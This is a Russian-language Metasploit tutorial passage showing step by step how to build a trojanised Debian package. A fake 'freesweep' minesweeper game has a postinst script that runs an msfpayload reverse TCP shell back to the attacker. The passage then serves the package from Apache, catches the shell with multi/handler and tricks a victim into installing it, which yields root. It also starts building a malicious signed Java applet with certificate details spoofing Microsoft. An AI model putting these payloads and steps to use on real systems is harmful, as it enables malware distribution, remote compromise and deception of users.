root@v-bt4-pre:/tmp/evil# mkdir work/DEBIAN

В директории «DEBIAN», создайте файл с именем «control», который содержит следующее:

root@bt4:/tmp/evil/work/DEBIAN# cat control
Package: freesweep
Version: 0.90-1
Section: Games and Amusement
Priority: optional
Architecture: i386
Maintainer: Ubuntu MOTU Developers (ubuntu-motu@lists.ubuntu.com)
Description: a text-based minesweeper
Freesweep is an implementation of the popular minesweeper game, where
one tries to find all the mines without igniting any, based on hints given
by the computer. Unlike most implementations of this game, Freesweep
works in any visual text display - in Linux console, in an xterm, and in
most text-based terminals currently in use.

Нам также необходимо создать после установочный скрипт, который задаст исполняющие права на наши бинарные файлы. В директории «DEBIAN», мы создадим файл с именем «postinst», который содержит следующее:

root@bt4:/tmp/evil/work/DEBIAN# cat postinst
#!/bin/sh
 
sudo chmod 2755 /usr/games/freesweep_scores && /usr/games/freesweep_scores & /usr/games/freesweep &

Теперь создадим наше вредоносное содержимое. Мы будем использовать реверс-шелл бэк-коннекта для подключения к нашей машине под названием «freesweep_scores».

root@bt4:/pentest/exploits/framework3# ./msfpayload linux/x86/shell/reverse_tcp LHOST=192.168.1.101 LPORT=443 X > /tmp/evil/work/usr/games/freesweep_scores
Created by msfpayload (http://www.metasploit.com).
Payload: linux/x86/shell/reverse_tcp
Length: 50
Options: LHOST=192.168.1.101,LPORT=443

Далее сделаем пост-установочный скрипт исполняемым и соберем наш новый пакет. Файл пакета будет называться «work.deb». Изменим его имя на freesweep.deb и скопируем пакет в корневой каталог нашего веб-сервера.

root@bt4:/tmp/evil/work/DEBIAN# chmod 755 postinst
root@bt4:/tmp/evil/work/DEBIAN# dpkg-deb --build /tmp/evil/work
dpkg-deb: building package `freesweep' in `/tmp/evil/work.deb'.
root@bt4:/tmp/evil# mv work.deb freesweep.deb
root@bt4:/tmp/evil# cp freesweep.deb /var/www/

Для начала запустим веб сервер Apache.

root@bt4:/tmp/evil# /etc/init.d/apache2 start

Запустим модуль Metasploit multi/handler для ожидания входящего соединения.

root@bt4:/pentest/exploits/framework3# ./msfcli exploit/multi/handler PAYLOAD=linux/x86/shell/reverse_tcp LHOST=192.168.1.101 LPORT=443 E
[*] Please wait while we load the module tree...
[*] Handler binding to LHOST 0.0.0.0
[*] Started reverse handler
[*] Starting the payload handler...

Нашу жертву под Ubuntu, мы должны убедить скачать и установить deb пакет с новой игрой.

ubuntu@ubuntu:~$ wget http://192.168.1.101/freesweep.deb
 
ubuntu@ubuntu:~$ sudo dpkg -i freesweep.deb

Как только жертва установит и начнет играть в скаченную игру, мы получим shell.

[*] Sending stage (36 bytes)
[*] Command shell session 1 opened (192.168.1.101:443 -> 192.168.1.175:1129)
 
ifconfig
eth1 Link encap:Ethernet HWaddr 00:0C:29:C2:E7:E6
inet addr:192.168.1.175 Bcast:192.168.1.255 Mask:255.255.255.0
UP BROADCAST RUNNING MULTICAST MTU:1500 Metric:1
RX packets:49 errors:0 dropped:0 overruns:0 frame:0
TX packets:51 errors:0 dropped:0 overruns:0 carrier:0
collisions:0 txqueuelen:1000
RX bytes:43230 (42.2 KiB) TX bytes:4603 (4.4 KiB)
Interrupt:17 Base address:0x1400
...snip...
 
hostname
ubuntu
id
uid=0(root) gid=0(root) groups=0(root)

Инфицирование Java апплета.

Джошуа Авраам (Jabra) опубликовал большую статью, которая была основана на докладе, сделанном на Всемирной конференции Infosec в вRafal Los, статью можно найти на http://blog.spl0it.org. Это Java-апплет, который после запуска в браузере будет выполнять полезную нагрузку Meterpreter если цель принимает предупреждение о безопасности.
Прежде чем мы начнем, машина атакующего должна удовлетворять некоторым условиям.

root@bt4:/# apt-get install sun-java6-jdk

Jabra упростил создание подписи Java-апплета, весь процесс сводится к запуску bash скрипта. Сам скрипт можно загрузить с http://spl0it.org/files/makeapplet.sh
Теперь создадим рабочую директорию для нашего Java-апплета, затем скачаем сам скрипт.

root@bt4:/# mkdir ./java-applet
 
root@bt4:/# cd ./java-applet

Нам нужно создать Java-апплет и поставить на него подпись. Для этого откройте ваш текстовый редактор, затем новый документ и вставьте содержимое скрипта, которое указано ниже, сохраните как : "MSFcmd.java". Оставьте текстовый редактор открытым, нам потребуется изменить некоторые параметры.

import java.applet.*;
import java.awt.*;
import java.io.*;
public class MSFcmd extends Applet {
public void init() {
Process f;
String first = getParameter("first");
try {
f = Runtime.getRuntime().exec("first");
}
catch(IOException e) {
e.printStackTrace();
}
Process s;
}
}

Далее мы запустим скрипт Jabr-ы, чтобы помочь в принятии нашего сертификата. Следующие команды загрузят сценарий, сделают его исполняемым, а затем запустят сценарий для получения сертификатов.

root@bt4:/java-applet/# wget http://spl0it.org/files/makeapplet.sh && chmod a+x ./makeapplet.sh
 
root@bt4:/java-applet/# ./makeapplet.sh
 
Enter the name of the applet without the extension: MSFcmd
[+] Packaging the compiled class into a JAR file
[+] Generating key pairs
What is your first and last name? [Unknown]: MSFcmd
What is the name of your organizational unit? [Unknown]: Microsoft
What is the name of your organization? [Unknown]: Microsoft Organization
What is the name of your City or Locality? [Unknown]: Redmond
What is the name of your State or Province? [Unknown]: Washington
What is the two-letter country code for this unit? [Unknown]: US